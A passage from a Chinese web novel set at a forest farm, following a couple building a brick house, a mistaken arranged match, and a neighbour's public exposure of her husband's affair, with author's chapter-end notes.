严雪注意到他手上都是机油,“徐叔又让你帮着拆了?”
祁放一开始过去,还只是在旁边看,后来有天人手不够用,就给徐文利打了个下手。
然后徐文利就发现,这可比自己那俩徒弟好用多了,对看过的东西了如指掌,让拆哪,绝对不带差半分的。有时候不带徒弟,或者徒弟实在带不动,干脆就先让他来,自己也能歇歇。
祁放对此倒是没什么反应,“嗯,今天基本拆完了。”
“那以后不用去了?”严雪猜测着他的意思。
“不用。”祁放回答得言简意赅,但其实接下来几天才是重点讲维修的,徐文利很想让他继续去,他没同意。
他甚至昨天就可以不用去了,因为小修厂前天就拆到了他要看的液压传动。
说愤怒吧,经历过那天的情绪波动,好像又不是那么愤怒了,这四台集材50上用的还真是他跟老师研究那套系统。
这两天他坚持着拆完,主要是想看看对方是怎么处理的,拖拉机的整体性做得怎么样。
说实话有点新东西,但不多,用的甚至都不是他和老师经过反复调试后的最新版本,有点像是急着做出点成果拿来交任务的。也难怪吴行德会亲自跑来找他,想方设法从他这里套资料。
想想都觉得讽刺,真正兢兢业业做研究的被逼死了,那些只想做面子的却占着高位,还有他那个所谓的师兄……
祁放只要一想想就觉得没劲透了,他们那些人,还有这个让人看不到希望的世道。
心刚落下去,就听到身后有道声音说:“那你明天在家看家,我去趟镇上。今天周文慧跟我说,我要的东西已经回来了,我顺便去把葡萄糖买了,天麻卖了。”
他立马又被拉回现实的琐事,“明天我去吧,场里批的木头已经下来了,我再去砖厂买点砖,趁这几天天好,把房子盖了。”
“买砖?”
“嗯,我想在房子外面再加一层砖。”
林场这个霸王圈确实暖和,但确实也不如砖瓦结构的房子坚固,尤其是地基,打不了太深。
严雪想了想,干脆去里屋拿了几张钱给他,“瓦也买了吧,木瓦排水差了点。不行你去买几包烟,看哪天林场有内燃机往镇上跑,问问能不能在后面给咱们多挂一节车厢。”
林场盖房子不用砖,房顶当然也不会用瓦,用的是树皮或者削下来的木片。
一整列一整列排下来,的确可以排雨,但防水肯定赶不上真瓦,也不如真瓦耐用。他们既然手里有钱,还是一次性到位好了,省得以后这里修修,那里补补。
至于在内燃机后面多挂一节车厢,只要他们自己装卸,也不是什么太大的事儿。
正好祁放洗完手,也就接过来放进了口袋里。没想到才说了旱冰鞋,第二天他就在车上碰上了给严雪送旱冰鞋的人。
男青年和他隔着一段距离,并没有注意到他,倒是那乘务员过来跟他收票的时候认出他了,不过也只多看了他一眼,什么都没说。
不多会儿走到齐放那,他也没提起自己看到了那姑娘的爱人,只看了看齐放手里送了两次还没送出去的纸包,“又去你姑家?”
“嗯,”齐放笑了笑,赶紧掏出钱买票,“刚才没人过来收。”
这要是一般人,可能就不吭声了,他却不一样,每次都认认真真买票,更从不仗着和乘务员认识就想蹭车。
乘务员有时觉得他太老实了,又挺喜欢他这种老实,毕竟人是真的不错,“我估计这回怎么也回来了。”
齐放点头,“我姑弄了点地,五一前后怎么也得回来种上,不然今年就吃不上了。”
到了齐姑姑家,齐姑姑还真回来了,就是左胳膊戴着黑袖标,显然她公公没熬过去,还是过世了。
齐放都到了嘴边的话就这么一顿,先低声说了句:“节哀。”
“没事儿,这两年就说不好了,不好了,你姑父他们都有心理准备。”
齐姑姑倒还好,见他提着纸包还说他,“来就来了,还带什么东西,你那点钱就不能攒着当老婆本?”
说到老婆本,她立马想起来,“我当时走得急,也没来得及问你,你那亲相得咋样了?成没成?听说姑娘长得特别漂亮。”
这让齐放怎么说,只能先把木耳递过去,“我也不知道成没成,我还没见到人。”
“这都几个月了,你还没见到人?”
齐姑姑不可置信,但她也知道自己这个侄子老实,不可能撒谎骗她,立马起身换鞋,“走,我带你找单秋芳问问去。”——
祁放:我老婆可能失忆了。
严雪:没啊,我还多了一段~
今天好像是高考啊,祝所有高三学子高考顺利,金榜题名!
虽然高考生应该没时间看我这篇文……
还有昨天去给捉虫的小天使发红包[爆哭]点完全选,一不小心点成了全部驳回[爆哭][爆哭]然后发现找不到了[爆哭][爆哭][爆哭]
丢了
==============
“你说你侄子没见到人?不可能!”
两人匆匆赶到单秋芳家,单秋芳并不认这壶酒钱,“人我亲自去车站接的,又亲自送上的小火车,咋能没见着?再说过后她还来我家送过东西,说已经见到人了,罐头瓶子还在那放着呢。”
直接走去厨房,拎出了一瓶一卤鲜的咸菜。
她这话说得笃定,一点都看不出心虚来,齐姑姑只能跟侄子又确认了一遍:“你真没见到人?”
单秋芳这才注意到她身后的齐放,“这就是你那侄子?几年不见长成这样了?”
她记得小时候挺高的啊,眼睛也挺大。
单秋芳这人性子直爽,嘴也快,齐姑姑一早就知道,但现在是说这些的时候吗?
见侄子被看得有些不好意思,但还是点头,她赶忙把话扯回正题,“我自己的侄子我知道,他说没见着就是没见着,你那外甥女咋回事儿?不会卷了我家的钱跑了吧?”
这单秋芳可就不爱听了,“她一个才成年的小丫头,能往哪儿跑?再说谁还差你家那一百块钱了?”
“那可不一定,找个大沟里,随便开块地,咋的不能吃口饭?咱这沟里又不是没有关里跑过来的黑户。”
“那她还来这结婚干啥?在关里又不是不能过。”
单秋芳干脆把人领到了对门小嫂子家,“嫂子你给我作个证,过年之前我那外甥女是不是来过,说她去林场见到人了,还给我送了俩罐头?”
“那个个子不太高,大眼睛挺漂亮的姑娘?”小嫂子显然对严雪还有印象。
单秋芳点头,“对,就是她,我在这儿也没别的外甥女。”
“那我的确是见过,过完年她还来过一回,和她爱人一起。”
“是吧,我就说人不可能没见着。”单秋芳立即回头去看齐家姑侄,尤其是齐放,“你啥意思?婚都结了又来说没见着?想退是咋的?”
这齐家小子要是这种人她可不算完,非得和他们家讨个说法不可。
小雪那丫头长得没话说,人听说也挺能干,配他绰绰有余,他还有脸整这一套。
两人都说得肯定,饶是齐姑姑深知齐放为人,还是忍不住也看向侄子。
齐放本就不善言辞,被几双眼睛这么盯着,憋了半天也只憋出一句:“我真没见到人。”
“你没见到人?你没见到人难道人丢了?”
单秋芳才不信,见他嘴硬更是火大,“看着挺老实的,怎么瞎话张嘴就来?”
“我真没见到。”齐放也急了。
齐姑姑怕侄子吃亏,赶忙拦在前,“你还是再问问吧,齐放可不是那样的人。”
眼见着场面就要闹起来,隔壁小嫂子突然看着齐放说了一句:“我见到的好像不是他。”
这下几人全愣了,尤其是单秋芳,立马上前几步,“啥?你见到的不是他?咋能见到的不是他?”
小雪就是来和他相亲的,总不能小金川林场还有第二个齐放吧?
见几人表情都不好,小嫂子仔细又辨认了一下,“的确不像,那个比他高,高这么一块。”拿手比了个两寸。
至于长得也比他好很多,当着本人和本人家属的面,她就没说了。
这下单秋芳不只是发愣,愣过之后整个人都急起来,“完了,小雪不会让人给拐了吧?”
齐姑姑也没想到事情会是这个走向,还得反过来安慰她,“应该不能,现在都啥社会了?一个大活人还能丢了?”
“那可不一定,万一谁真动了那歪心思呢?咱这大沟里又不是没有关里跑过来的黑户。”
单秋芳竟然把她那话又还给了她,“你是不知道,我那外甥女长这么大还是头一回出门,人长得还漂亮,这要是出了点啥事儿,我可咋跟她家里人交代?”
急得在屋中间直打转,“不行,我得去派出所报案,说不定还能查着。”
被她这么一弄,齐姑姑跟齐放也有些着急,倒是那小嫂子没太受影响,“不能吧?要是真被拐了,人家还能放她出来?”
这话倒让单秋芳冷静了点,但还是担心,“你不说还有个男的跟着一起来了?是不是怕她跑了盯着她的?”
“她年前的时候不还自己来过一趟?”毕竟不是自己外甥女,齐姑姑也冷静下来,“要是真有个什么不对,她有机会还不跑啊?”
但如果不是被拐,好好的去相个亲怎么会没见到人?
单秋芳开始懊恼,“早知道那天我说什么也得把她拽下车,第二天跟她一起去。”
现在说这些还有什么用,关键是人到底去哪儿了。
而且明明齐放这边没见到人,她那边却说见到了,总不能见到的是鬼吧?
呸呸!现在可不兴牛鬼蛇神那一套!
齐姑姑克制着自己没往老人嘴里那些狐仙儿、黄仙儿上面想,虽然听说那些东西磨到人,的确会让人说胡话,连谁是谁都分不清……
最后还是齐放看她们一筹莫展,说了句:“要不问问老家那边?”
几个人刷一下全看了过来,看得他下意识卡了下壳,“我就是觉得她既然能上这儿来,说不定也会给家里写信。”
“对啊,我怎么把这个给忘了。”单秋芳一拍脑门,赶忙回屋去找地址,“我这就去给老家发电报。”
只要严雪给老家写过信,老家那边肯定有地址,这人也就算找到了。
就是这年代电报很贵,要按字数收钱,一个电报那几个字恐怕也说不清楚。而且老家在农村,今天发过去,也得明天才能收到,回过来还不知要多久,单秋芳干脆在邮局买了信封信纸和邮票,又写了封信。
这个虽然慢,好歹能说清楚,现在也的确没有更好的办法了。
能做的都做了,剩下的就只有等。
单秋芳忧心忡忡,齐姑姑一看也没法提那一百块钱的事,和侄子先告辞了。
“这都啥事儿啊,”回去的路上她还在说,“好好的相个亲,还能把人整没了。”
齐放走在旁边没说话,他现在就想知道那叫严雪的姑娘安不安全,其他的倒是没那么在意。
反正对于结婚这个事儿,他已经不像一开始得知要给自己介绍对象时那么积极了,只要人没事,不成也没什么。
又在姑姑家待了半天,他才告辞,准备回林场等消息,没想到一上车就看到了之前那姑娘的爱人。
男人短发利落,露出好看得攻击性有些强的五官,明明都是出门穿的中山装,也不知道是不是个子格外高些,对方穿着就是比他挺拔。
他在过道上稍一迟疑,男人已经抬眼看了过来,一双深邃的眼睛眼神清清淡淡。
这时候再装没看见就不礼貌了,他只能冲对方笑了笑,“真巧啊,同志。”
男人也朝他颔了一下首,“你好。”一如既往地惜字如金。
齐放立时想起那次下山途中的不自在,想换个地方坐,车厢里却已经没位置了,不坐就只能站着。
关键这节车厢里还没人站着,要是他明明有座却偏偏不坐,那也太显眼了。没办法,他只能在男人对面坐下。
男人扫了眼他手里拿着的东西,将小桌上自己的物品往里挪了挪,给他让出空间。
他赶忙道谢,带着些不好意思将东西放下,“是我姑给我装的一些吃的,还有几双鞋垫。”
听他说到姑姑,男人倒是看了他一眼,“这回见到了?”
上回碰到时那姑娘还关心他有没有见到人,齐放也就多说了两句:“见到了,她五月一就回来了,当时我在山上巡山,没工夫下来。”
男人闻言点了点头,“那就好。”
也省得两人再一次见到严雪再一次问,明明连名字都不知道,倒弄得有多熟似的。
祁放说完,目光就重新投向了车窗外。
也不知是见他态度还不错,还是就这么干坐着实在有些尴尬,对面齐放又开了口,“我去找我姑,主要是我姑给我介绍了个对象。”
祁放一听,视线立马转了回来,“介绍成了吗?”
齐放完全没想到他会问,卡了下,“不知道,我还没见到人。”
“没见到人?”对面的男人似是疑惑。
齐放点头,“好像是弄差了,我没见着,她家亲戚也不知道她去哪儿了,正在找。”
“没事,总能找到的。”祁放竟然安慰了他一句。
这齐放就有点受宠若惊了,“谢谢。”
山上第一次见面,他就发现对方话很少,性子也有些冷淡,尤其是对他这样的外人。
上次一起走了一个多小时,男人主动和他说过的话都没有今天这一小会儿多,何况是安慰。
这让他忍不住又打量了男人一眼,也不知是不是错觉,人还是那个人,但好像没他刚上车时那么拒人于千里了。
齐放暗暗松了一口气,有心想问问对方一个人出来的吗,又觉得突兀,欲言又止半天,只问出一句:“你去镇上啊?”
话出口,他自己都觉得纯属废话,不去镇上他们怎么可能在这车上碰见……
还好乘务员这时候过来了,见他俩坐在一起,很新奇地多看了两眼,他赶忙跟对方打了个招呼,总算把这话岔了过去。
不过那姑娘这爱人今天是真心情好,又或许他本身就对人家有误解,男人下车的时候,还又祝福他能早点找到那个和他相亲的对象。
他只能又说了遍“谢谢”,挠挠头,“她爱人人还怪好的嘞。”
过来开关车门刚好听到了全程的乘务员:“……”
算了,他觉得人家好就觉得好吧,总比觉得那姑娘过得不好成天惦记着强。
晚上严雪一回家,就发现院子里晒着的床单被单已经收了。
这一看就是祁放回来了,果然进了门,男人正挽着衬衫袖子,勤快地在那浆被单。
就是将洗好的床单被单用放了面粉的浆水再泡一遍,晒干后可以让棉布更耐磨耐用。
天暖和了,他穿得也少了,干活的时候多数就一件衬衫,扎在裤子里,皮带勒出一把好腰。
严雪没着急进去,先站在门边欣赏了一会儿。
这就是找个好看对象的好处了,都是和陌生人过日子,好看点她这心里至少好接受点。
甚至要是有这么个极品的“小娇夫”,每天给她洗衣做饭,在家等她回来,让她赚钱养他她都不是不可以。
刚想到这,“小娇夫”就掀眸看了过来,“上山去了?”
严雪“嗯”了声,回身将背筐解下来放进堂屋,“跟刘大娘去薅了点山芹菜,还有刺五加和刺老芽。”
山芹菜长得快,只要天气好,几天就老了,她这还是去阴坡薅的。倒是刺五加和刺老芽这种树芽正是好时候,既不会太大失了鲜嫩的口感,又不会太小,完全吃不出山菜味儿。
严雪去脸盆架洗了把手,再回身,男人已经将单子浆好拧了出来,“天麻我帮你卖了,23块6,东西也拿了回来,在桌上。”
她应一声,进去先将钱数好收起,才打开两个纸包。
葡萄糖也就罢了,土产那边买到的竟然是石花菜。
虽然量没她要的那么多,也就六七斤的样子,但这东西出胶率足足有25%,光这些就能熬出一斤多琼脂。
而培养一瓶母菌,20克就够了,一瓶母菌又能培养出几十瓶栽培种。
严雪将东西重新包上,准备找个时间把琼脂做了。还没包好,祁放从外面进来,湿着手就来摸她的头,“照你说的给了一条烟,你看这些够不够,不够那边说还能再给你弄。”
她一下子送一整条烟就是为了方便以后再次开口,偏了下头,“够了,至少今年够了。”
没想到竟然没躲开,男人追过来到底揉在了她头顶。
这让她瞬间就矮了半截,不由瞪过去,“你幼不幼稚?”赶紧拿手去扒拉。
两只手都拽着男人修长的手指,总算把那只作乱的手给甩开了,男人被瞪了也没什么反应,转身端起盆,把浆好的单子拿出去晾。
严雪够着有点费劲的晾绳,他几下就全把东西挂上去了,回来又拉过严雪的背筐,把山菜拿出来摘。
严雪从里屋出来放纸包,不由多看了他一眼,“今天怎么这么勤快?”
不用人吩咐就什么都自己干,难道是事情办得顺利心情好?
第 35-36 章
一车厢的砖和瓦,金三叔的牛车拉了好几趟才总算拉完。
东西在新房的选址都卸好,严雪摘了手套,“都去我那喝口水吧,辛苦你们忙这么长时间了。”
“是有点渴。”金三叔也没和她客气。
一行人在严雪和祁放家炕边坐下,喝了水,又抽了烟,金三叔才提出告辞,“不早了,我也该回去了。”
严雪送到门口,还把他抽剩那大半包烟也给他装上了,再三跟他道谢。
“没事儿,你这也是会挑时候,要是赶前两天春播,给十条烟俺家这牛也腾不出工夫。”
见小丫头挺会来事儿,金三叔还嘱咐了句:“你要盖房就赶紧盖,拖上个三天五天,那些砖能给你剩一半都不错了。”
林场需要用到砖的地方还挺多的,砌个大地锅、盘个炕,哪样都得用点,偏偏又哪样都用得不多,不值当专门去镇上跑一趟。
严雪家这些砖要不赶紧用了,又不找人看着,保准第二天就会出现在别人家里。
别问,问就是捡的,你管人家大半夜去哪里捡的。
严雪也知道,又谢过对方的提醒,回到里屋,屋里已经只剩几个年轻人了,也就衬得刘卫国脸上那表情格外不对劲。
像什么呢?
就像上班的时候吃到一个惊天大瓜,但领导在场没法和他人分享,憋得心肝肺都难受。
“你是不是有什么话要说?”严雪忍不住问他。
刘卫国竟然下意识看了眼祁放,倒是祁放表情没任何变化,“他想媳妇憋的。”
刘卫国一愣,想起自己之前也拿祁放想媳妇当过幌子来着,干脆认下,“对啊,我跟周文慧已经六个小时没见了。”
此言一出,郭长平抽烟的动作立马一停,转头看了看他。
郭长平和金宝枝是那种传统夫妻,经人介绍,没认识多久就结婚了,从不知道现在年轻人处对象这么黏糊,六小时不见就憋成这样。
“那你快走吧,”他说刘卫国,自己也站起了身,“我也得回去了。”
严雪倒是不信两人那话,但两人非要卖关子,估计问也问不出来,她也就暂时没问,起身送客。
送完人刚回来,用过的缸子和拿来放烟灰的纸壳还没收拾下去,金宝枝来了。
这人向来不苟言笑,今天也是,进门就直接问:“你借不到马车,是不是跟我那事儿有关?”
虽说当时她什么都没问就走了,但又不是傻,静下来怎么可能不琢磨。
就算她不琢磨,郭家还有郭大娘,有郭长平,那事才过去没多久,早晚会想到上面去。
严雪也就认真回答她:“我不知道,但于翠云妹妹的小姑子搬家应该是真的。”
不然人一去就露馅儿了,马车是林场的,又不是她于家的,赶车的可不会帮于翠云保密。
金宝枝听了,却还是抿着唇,显然懊恼又自责。
严雪干脆和她说得再明白点,“这事你不用往心里去,那天我帮你,不仅是因为咱们两家关系好,也因为论资历,论能力,那个名额本就该是你的。而且就算没这事,我跟她们梁子也早结下了。”
金宝枝露出意外,显然她当时还在医院照顾郭长安,并不知情。
严雪就把那件事也跟她说了,“你看,我也没做什么,她们就把我家属队的名额拿下来了,今天这个都算是小事了。”
金宝枝没再说什么,但看表情还是绷着,严雪也就问起粮食的事,“粮都买到了?”
金宝枝这才想起自己带来的背筐,“买到了,一共是二十斤米,二十斤面,面都是才上磨推的。”
推好的面粉不好保存,农村更喜欢存麦子,现要吃现上磨推。
严雪看了看,和上次一样,虽然没法跟供应的七五粉相比,和普通的标准粉也差不多了,“多少钱买的?”
“大米能便宜点,四毛二一斤,面推起来麻烦,四毛三。”
严雪迅速算出来,“那就是十八块钱。”
金宝枝点头,刚要找她两块,她进屋又拿了十六块给金宝枝。
这下金宝枝皱眉了,“你这是干什么?”
严雪将钱塞在她手里,语气很是真诚,“宝枝姐,情分是情分,东西是东西,别把情分算成东西,才能处长远不是?”
最后金宝枝还是没能说过严雪,带着三十六块钱回去了,郭大娘一看她神色就猜测,“咋啦?没送出去?”
“嗯。”金宝枝也不知道自己是该高兴,还是该不高兴。
郭大娘也叹气,“人家都是生怕占不到便宜,占不到便宜就等于吃亏,她们两口子倒好,生怕占别人便宜。”
“这不挺好的吗?”郭长平说,“这样的人好处。”
“是好处,可惜这么好处的邻居,就要搬走了。”郭大娘还有点不舍得。
金宝枝也半晌没说话,然后叫郭长平,“明天你跟我一起去帮小严家盖房子。”
“你不说我也得去,都是邻居。”
这年代最讲究远亲不如近邻,谁家有个红白喜事,又或者要盖房子、盘炕,都是邻里邻居免费去帮忙。别说给工钱了,饭都不管,干完活各回各家各吃各的,也就盖房子上梁算是大事,主家会管一顿饭。
这年代的单位也和后来不一样,职工家什么事都得管,职工家有人过世了,棺材单位都给打。
所以严雪跟祁放要盖房子,林场说给批木头就给批木头,说让借马车就让借马车。
第二天天刚亮,刘卫国就跟着他爸刘大牛来报到了。
盖房子是大事,几个小年轻哪里搞得定,还得有个有经验的老人来做大师傅。
严雪正在往外盛大米粥,粒粒分明的大米已经被她熬开了花,米粥表面也凝着一层晶莹的米油,四处飘香。
“大爷吃饭了吗?”她招呼两个人,“没吃坐下来一起吃点。”
两人都摇头说吃过了,可她还是拿起碗,给两人都盛了半碗,拿了筷子。
毕竟是给他们家盖房子,总不能她和祁放吃着,让人家父子看着吧?
等早饭吃完,隔壁郭长平两口子也过来了,严雪抓紧时间先把碗刷出来,和灌满热水的暖水瓶一起拎上,去了新房。
这是给干活的人喝的,新房离这边有段距离,总不能一直让人渴着。
房子的规模早些天祁放就和刘大牛说好了,盖三间,东西两边住人,中间一间作为厨房。
其实就他和严雪两个人,盖两间也够住了,为此刘卫国这几天没少调侃,问他们盖这么多房子,是想生六个还是生七个。
祁放当时只是看了眼严雪,“嗯,争取今年就有,两年抱仨。”
严雪脸皮挺厚的,当时都忍不住瞪了他一眼。
刘卫国更是哟哟怪叫,“你行啊,回头传授我点经验,我也两年抱仨。”
那恐怕要让他失望了,祁放连个婴儿车都还不会开呢,上什么高速?
但架不住人家祁放会装啊,什么车都没开过的人愣是装出了阅尽各种名跑的架势,冷冷淡淡应了一声“嗯”,把刘卫国唬得一愣一愣的。
然后两个人就跑到旁边说悄悄话去了,“对了,上次你让我注意那个事儿……”
严雪一看刘卫国那带点猥琐还带点八卦的表情,就知道八成不是什么少儿能听的话题。
她没注意俩大男人间的私密话,反正祁放冷淡,合法的放在嘴边还不吃呢,更不可能出去偷吃不合法的。
严雪继续给刘大牛递砖,“照这架势,咱明天是不是就能上梁了?”
几天下来,房子里面的霸王圈基本已经盖完,外面的砖墙剩得也不多了,刘大牛接过来砌好,又铲了一铲子和好的泥,“差不多,你们这要不是多层墙,今天就该上梁了。”
“那我明天去弄点菜,大爷您有没有什么想吃的?”
严雪接着递,没想到刘大牛还没接住,一道声音突然从身后响起,“姓严的你要不要脸!”
她都没来得及反应,背上已经被人推了把,手里的砖就这么掉下来砸在了脚上。
严雪皱了一下眉,忍着痛转身一偏头。果然一个巴掌迎面扇来,险险擦过她的鼻尖。
于翠云还在骂,“你要不要脸!自己家没男人吗?还上赶着勾搭别人家的!你家男人是不能满足你还是咋的”
完全不给人解释分辩的机会,扬手又要打。
这回严雪不想躲了,眼一沉,直接去抓对方的腕子。
她上辈子混迹市场,又不是没跟人骂过架,动过手,刚才只是事发突然,没来得及反应。
刚触上对方的手腕,有人比她更快,已经扯住对方胳膊用力一甩。
于翠云到底是女人,脚跟踉跄着在地上一磕,结结实实摔了个屁股蹲,完好那只手一撑才勉强稳住。
她大怒,就要爬起来跟对方拼了,男人却抬脚踩住了她衣角。
祁放就那么俯下/身看着她,“你大可以试试我打不打女人。”眼神和声音一样凉。
正在给郭长平递砖的金宝枝也赶忙放下东西,刘卫国更是跑得飞快,“你疯了吧?人家严雪能看上你男人?是看上他老,看上他丑,还是看上他年纪大炕上不行了?”
就真的,说得还挺好的。
不只严雪,祁放都转眸看了一眼他,于翠云更是被气得没能说出话来。
刘卫国还故意指了祁放,“你看看不论是脸,是年纪还是身高,你家那个哪点比得上?这不越级碰瓷儿呢吗?”
于翠云张张嘴,还真说不出哪里比得上,半晌才重新聚集起气势,“你问她啊!其茂不就开个拖拉机,她也馋上了,自己搬砖是能死啊还是能咋的?”
原来是为了搬砖那事,也不知道是谁传给她的,又是怎么传的……
金宝枝憋不住了,“你少胡说八道,搬砖还用得着他?我早回娘家借车了。”气得脸通红。
但这种人认定了的事情,解释她也听不进去。
祁放眼里露出讽意,“你有那功夫盯着严雪,怎么不盯盯梁其茂和程玉贞?他俩可是好了有一段时间了。”
于翠云一开始显然没能理解,待反应过来大怒,“你放屁!”
其他人也没想到他会突然说这个,全都朝他望来。
祁放始终踩着于翠云的衣角,让她没法起身,“上个月梁其茂送了你一瓶友谊雪花膏,大瓶的,我没说错吧?”
“关你屁事!”于翠云还在努力挣,但气势明显弱了瞬,显然被他说对了。
祁放见了,也就松了脚,“他当时买了两瓶,还有一瓶在程玉贞那,因为上个月是程玉贞的生日。”
于翠云瞪着眼,不说话了,因为不管是雪花膏还是程玉贞过生日,她都知道。
当时程玉贞还跟她说,是自己买来给自己过生日的,怎么会……
于翠云脸色几经变换,祁放看着,又在火上添了把油,“程玉贞还有双皮鞋……”
这回没等他说完,于翠云已经大声道:“不可能!你少搁这儿造谣!”因为这回连她也没有。
祁放也不和她争辩,“不信你可以去东山那边的窝棚蹲一蹲,肯定有收获。”
长白山脉因为经常有放山人上山采参,一去就是好几天,需要在山上过夜,很多山上都有盖的简易窝棚。不仅能遮风挡雨,窝棚里还放了粮食,留宿的人可以吃,但下次上山要记得给人家补上。
东山那个窝棚于翠云也知道,离林场很近,她还在那避过雨,和程玉贞一起……
有些东西经不起细想,越想就越觉得处处都是疑点,于翠云嘴上说着祁放放屁,人却哪还顾得上再找严雪麻烦,胡乱找了个东西踢了两脚就走了。
这可真是够戏剧化的,气势汹汹想抓别人的奸,最后反而抓到了老公和闺蜜头上……
严雪看看祁放,还没开口,祁放就像是知道她想问什么,“记性好,见过梁其茂买的东西出现在程玉贞身上。”
严雪从来不知道好记性还能这么用的,但也想通了一些事,“卫国说你让他帮着注意的,不会就是这个吧?”
“嗯。”祁放言简意赅,倒是刘卫国显然已经憋得不行了,“你是不知道,祁放跟我说的时候我还吓了一大跳,完全没想到这俩人是怎么扯上的关系。后来多注意了下,发现还真的有猫腻。”
“所以你小子大晚上连家都不回了,就出去打听这个?”刘大牛从砌墙的架子上下来,踹了儿子一脚。
“我那不是看他俩大晚上偷偷出去碰头吗?好像因为严雪这事儿还吵了一架。”
“因为我?”严雪挑了挑眉。
刘卫国正想说什么,祁放已经过来扶住了严雪的胳膊,蹙眉,“你脚没事吧?”
几人这才想起来严雪的脚好像被砸了下,“对啊你没事儿吧?”
“我没事。”严雪活动了一下给他们看,可祁放还是不许她再干活,让她去一边歇着。
晚上脱了鞋袜洗脚,严雪左脚的脚背果然青了一大片,亏她白天还能行走如常。
祁放那脸当时就沉了,看得严雪泡在水里的小脚趾不禁蜷了蜷,“就是看着厉害,其实不怎么疼,真的。”
男人掀眸看她一眼,没说话,转身走了。
这不会是生气了吧?
严雪刚想着,男人拿着个小板凳又回来了。
祁放就把板凳放在她对面,坐下来挽衣袖,然后捞她的脚。
严雪下意识一缩,“不用了,我自己能……”还没说完就轻“嘶”了一声。
男人下意识松开点,又掀起眼看她,“还逞不逞能?”
严雪不说话了,眼睁睁看着男人把她那只小脚洗干净,用洗脚布擦了,一手握着,一手用掌根揉起来。
说实话很疼,尤其是在外面忙了一天,脚背都肿成了馒头。
但严雪愣是咬着唇没吭声,只在心里念:“再忍一会儿,忍一会儿就好了。”
祁放一抬眸,就能看到她略微泛白的小脸,但略一迟疑,还是继续下去,“不揉开,你这脚好几天都不能好。”
严雪没出声,怕自己一出声就是痛呼。
祁放也有点不敢再去看她,本着长痛不如短痛,干脆一口气帮她揉完。
等他放下手,严雪简直是松了一大口气。
结果还没松完,就看到男人伸向了她另一只脚,吓得她赶紧提醒:“这只没砸到。”
“知道。”祁放看都没看她,几下帮她把脚洗好,擦干,然后站起身,直接弯腰将她抱了起来。
身子一腾空,严雪下意识揪住了男人肩膀处的衬衫,“我自己能走!”
拜托她只是脚受伤了,又不是残废了……
男人闻言,似乎是顿了顿,又重新弯下腰。
严雪松了一口气,刚准备扶住板凳坐回去,男人一手勒紧她的腰,一手抄起了她放在水盆旁边的鞋。
这下好了,严雪完全是用抱小孩子的姿势被抱回了里屋。
次日早上起来,淤血被揉开的脚背果然好很多了,但祁放还是没让严雪接着去工地,只让她在家里准备今天上梁的饭。
上完梁,封完顶,又铺了瓦,祁放和刘卫国还用铁丝在檐下吊了几块树皮做排水,一群人这才来到严雪家喝酒。
严雪因为脚上有伤,祁放没让她喝,一来二去,倒把个刘卫国喝高了,一个劲儿拉着严雪喊文慧,被祁放黑着脸送走了。
第二天去新房盘炕,刘卫国就跟做贼了似的,进门就悄悄问严雪:“我昨天没说什么胡话吧?”
一句话没说完,就被祁放叫走了,防他也跟防贼似的。
严雪好笑,没想到转过天就真看了场大笑话。
于翠云也不知道是怎么操作的,还真捉到了梁其茂和程玉贞的奸,还闹得全林场人尽皆知。
梁其茂被挠了个大花脸,程玉贞更是连衣服都被撕烂了,于翠云之前受过伤那只手里还拽着她的裤衩,好手则扯着她的头发,“你个臭女表子!养汉B!我跟你那么好,你竟然偷我爷们儿!你到底要不要脸!”
声音大得不多会儿就围了一圈人。
程玉贞显然是觉得丢人,一直用手捂着脸,呜呜地哭。
梁其茂结婚迎媳妇的时候都没被这么多人围观过,脸滚烫,“咱先别闹了行吗?有啥事儿回家说……”
被于翠云一口唾沫吐在了脸上,“你还知道丢人?你跟她搞破鞋的时候,咋不知道丢人!”
朝人脸上吐唾沫,可比挠人脸更侮辱人,何况还是当着这么多人的面。
梁其茂本来还想伏低做小,把这事儿先平下去,这会儿也被激起了火气,“我搞破鞋?我为啥搞破鞋你心里没数吗?成天端着个架子,张嘴不是你爸就是你弟,咋啦?就你场长姑娘是人,俺们都不是人!”
有些账不能翻,一翻就全是委屈。
于翠云性子太强势霸道,梁其茂跟她过日子,完全是憋气的时候多,顺心的时候少。
果然此话一出,于翠云比他更委屈,“我就说你看不上勇志,你还不承认!没有我爸当场长,你就能转成拖拉机手了?”
又来了。
几乎两人一吵架,她就得把他转成拖拉机手的事拿出来说一说,时刻提醒着他能有今天全靠老丈人家提携。
于翠云没说够,梁其茂都听够了,只觉这辈子都没丢过的人全在今天丢完了。
梁其茂干脆扭头就走,“行,你不嫌乎丢人,你就继续搁这儿闹!”
于翠云哪能让他走,松了程玉贞又去扯他,“不许走!你今天必须给我说清楚,我是跑风了还是不过日子了,你凭啥跟她搞破鞋!”
“你瞅你跟个疯子似的,你还敢说!谁家娘们儿是你这种泼妇!”梁其茂终于忍不住了。
“我泼妇?她就是啥好东西了!”
于翠云气得手直抖,一指正准备偷偷溜走的程玉贞,“你咋不问问她当初严雪那事儿是谁干的!我说她咋那么好心,帮我收拾那姓严的,搞半天是她跟你搞破鞋,自己想收拾!我还帮她出头,帮她争名额!”
这可真是大反转,众人就是围观个捉奸,没想到还有其他瓜附赠。
梁其茂更是一愣,下意识便道:“不可能。”
听他还说不可能,于翠云更气,又上前揪住程玉贞的头发打起来,“你个贱人!我让你装!让你装!”
刘卫国和祁放从新房回来的时候正好看了个现场,忍不住跟严雪感慨,“林队长这媳妇温温柔柔的,见谁都先笑,真看不出来还能这么阴。你说她当初整你家属队那事儿,到底是想整你呢,还是想整于翠云?”
程玉贞这一手确实挺阴的,于翠云可是已经背了好几个月的锅了,谁也不信这事和她无关。
梁其茂甚至为此跟她吵了一架,害得她去找程玉贞说这事,被程玉贞三言两语哄过去不说,还碰上了黑瞎子,前两天夹板才拆。
程玉贞呢,把自己摘得干干净净,还白看了场笑话。
而且听说程玉贞跟梁其茂偷情那窝棚还是以前她和于翠云一起避过雨的,这不纯纯恶心人吗?
别说于翠云,换了任何一个人都得破防。
严雪笑着看了眼正在堂屋洗手洗脸的祁放,“我看她还没有祁放狠,打蛇专打七寸。”
“也是,打于翠云他们几个一顿,都没把这事儿抖出来痛快。”
刘卫国只要一想那场面就想乐,“一般人看见梁其茂和程玉贞,还以为是于翠云跟程玉贞关系好,两家熟,就他记性好,眼睛尖。”
说到这,他突然又想起什么,“对了,当初那事儿刚出的时候,我跟他说是于翠云干的,他就说不一定,不会那时候就发现不对了吧?”
“那么早吗?”严雪有点意外。
正准备问,院外有人喊:“祁放同志家是不是住这?有你的信!”——
祁放:只要我装得够像,就没人知道其实我还没开过车……
游街
==============
